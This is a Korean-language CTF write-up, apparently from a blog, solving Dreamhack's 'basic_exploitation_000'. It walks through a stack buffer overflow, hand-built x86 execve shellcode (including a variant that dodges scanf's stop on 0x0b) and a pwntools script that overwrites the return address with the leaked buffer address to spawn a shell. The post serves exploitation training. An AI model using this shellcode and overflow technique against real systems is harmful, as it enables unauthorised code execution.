Dreamhack/Pwnable

[Dreamhack] basic_exploitation_000

h34hg0 2023. 4. 2. 15:34

문제


문제에서는 basic_exploitation_000, basic_exploitation_000.c 파일을 제공해준다.

basic_exploitation_000.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[])
{

    char buf[0x80];

    initialize();

    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

 


풀이


main을 보면 0x80 크기의 버퍼를 생성하고 buf의 주소를 출력해준 후, scnaf함수를 통하여 141바이트 만큼을 입력받는다.

버퍼의 크기는 0x80 = 128바이트 이지만, 141바이트가 입력이 가능하므로 스택 버퍼 오버플로우 공격이 가능하다.

0x80의 공간에 쉘코드를 넣고, main 함수가 buf의 주소를 알려주므로 return address를 버퍼의 주소로 바꾸는 return address overflow 공격을 할 것이다.

 

공격에 필요한 x86 execve shellcode를 만들어  보자.

shellcode.asm

section .text
global _start
_start:
    xor eax, eax
    xor edx, edx
    xor ecx, ecx
    push eax
    push 0x68732f2f ; //sh
    push 0x6e69622f ; /bin
    mov ebx, esp
    mov al 0x0b
    int 0x80

 

x86에서  execve를 호출하기 위해서는 다음과 같은 인자를 필요로 한다.

syscall name eax ebx ecx edx
execve 0x0b const char *filename const char *const *argv const char *const *envp

 

 

Chromium OS Docs - Linux System Call Table

Linux System Call Table These are the system call numbers (NR) and their corresponding symbolic names. These vary significantly across architectures/ABIs, both in mappings and in actual name. This is a quick reference for people debugging things (e.g. secc

chromium.googlesource.com

x86-32_bit쉘을 얻어오기 위한 인자로는 execve("/bin//sh", 0, 0) 로 주면 된다.

/bin/sh 과 /bin//sh은 같은 의미이다. 단지 4바이트의 단위를 맞추기 위해 // 를 사용한 것이다. 

따라서 ebx는 "/bin//sh"을 주고 나머지는 xor 하여 0으로 맞춰 주면 된다.

그리고 al에 0x0b 값을 넣어주고 int 0x80을 하여 syscall을 하면 execve("/bin//sh", 0, 0) 가 호출되어 쉘을 얻을 수 있다.

 

이제 어셈블하여 opcode를 얻어보자. 

 

nasm -f elf32 shellcode.asm (shellcode.o 생성)
objcopy --dump-section .text=shellcode.bin shellcode.o (shellcode.bin 생성)
xxd -p shellcode.bin (opcode 출력)

 

위 과정을 거치면 31c031d231c950682f2f7368682f62696e89e3b00bcd80 가 나온다.

이를 파이썬에 사용할 수 있는 서식으로 변경하겠다.

 

xxd2py.py

bin = input("") # xxd -p file.bin
result = ""
if len(bin) % 2 != 0:
	bin = '0' + bin
for i in range(len(bin) // 2):
	result += "\\x"
	result += bin[i*2:i*2+2]

print('b"' + result + '"')

위 파이썬 코드를 이용하여 바꾸면 b"\x31\xc0\x31\xd2\x31\xc9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" 가 출력된다.

 

이제 pwntools를 이용하여 익스플로잇을 해보자.

 

exploit.py

from pwn import *

http = 'host3.dreamhack.games'
port = 15156

p = remote(http, port)
p.recvuntil('(')
addr = int(p.recvuntil(')')[:-1], 16)

get_shell = b"\x31\xc0\x31\xd2\x31\xc9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
payload = b''
payload += get_shell
payload += b"A"*(128 + 4 - len(get_shell))
payload += p32(addr)
p.sendline(payload)
p.interactive()
p.recvuntil('(')
addr = int(p.recvuntil(')')[:-1], 16)

버퍼의 주소를 알아오기 위해 recvutil을 이용하여 출력해주는 부분에서 "buf = (" 과 ")" 를 버려서

주소값만을 addr변수에 저장한다.

get_shell = b"\x31\xc0\x31\xd2\x31\xc9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
payload = b''
payload += get_shell
payload += b"A"*(128 + 4 - len(get_shell))

buf의 크기인 128바이트와 x86이므로 ebp의 크기인 4를 더하여 총 132바이트의 공간을 채워야 한다.

따라서 쉘코드의 크기를 제외한 나머지 영역을 A로 채운다.

payload += p32(addr)

마지막으로 return address overflow를 하기 위해 얻어온 버퍼의 주소를 넣어준다.

 

이제 exploit.py를 실행해보면 실패하는 것을 볼 수있다.

 

실패

실패 이유

scanf 함수는 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20 바이트를 만나면 읽는 것을 종료한다.

objdump -d shellcode.o 를 해서 보면

objdump -d shellcode.o

13라인에 0x0b가 들어가는 것을 볼 수있다. 0x0b는 scanf 가 입력받지 못하는 값이므로 이 값이 안들어 가도록 수정해야 한다.

 

scanf 우회 shellcode

section .text
global _start
_start:
    xor eax, eax
    xor edx, edx
    xor ecx, ecx
    push eax
    push 0x68732f2f
    push 0x6e69622f
    mov ebx, esp
    mov al, 0x08
    add al, 0x03
    int 0x80

위 어셈블리 코드를 보면

mov al, 0x0b

위의 부분이 다음과 같이 변경된 것을 볼 수 있다.

mov al, 0x08
add al, 0x03

둘다 같은 의미의 코드이지만,

첫번째 코드는 al에 바로 0x0b를 저장했다면, 두번째 코드는 al에 0x08을 저정한 후 0x03을 더하여 0x0b를 쓰지 않도록 했다.

 

아래 명령어를 이용하여 확인해 보면

nasm -f elf32 shellcode.asm (shellcode.o 생성)
objdump -d shellcode.o (디스어셈블)

 

objdump -d shellcode.o

0x0b가 사라진 것을 확인 할 수 있다.

 

이제 이 어셈블리 코드를 이용하여 쉘코드를 만들면 \x31\xc0\x31\xd2\x31\xc9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x08\x04\x03\xcd\x80 가 나온다.

이제 exploit.py에서 get_shell 변수에 실패했던 쉘코드에서 scanf 우회 쉘코드로 바꾸어 공격을 해보자.

 

exploit.py

from pwn import *

http = 'host3.dreamhack.games'
port = 15156
file = 'basic_exploitation_001'

p = remote(http, port)
p.recvuntil('(')
addr = int(p.recvuntil(')')[:-1], 16)

get_shell = b"\x31\xc0\x31\xd2\x31\xc9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x08\x04\x03\xcd\x80"
payload = b''
payload += get_shell
payload += b"A"*(128 + 4 - len(get_shell))
payload += p32(addr)
p.sendline(payload)
p.interactive()

결과


flag

쉘을 얻으므로 flag의 값을 알 수 있다.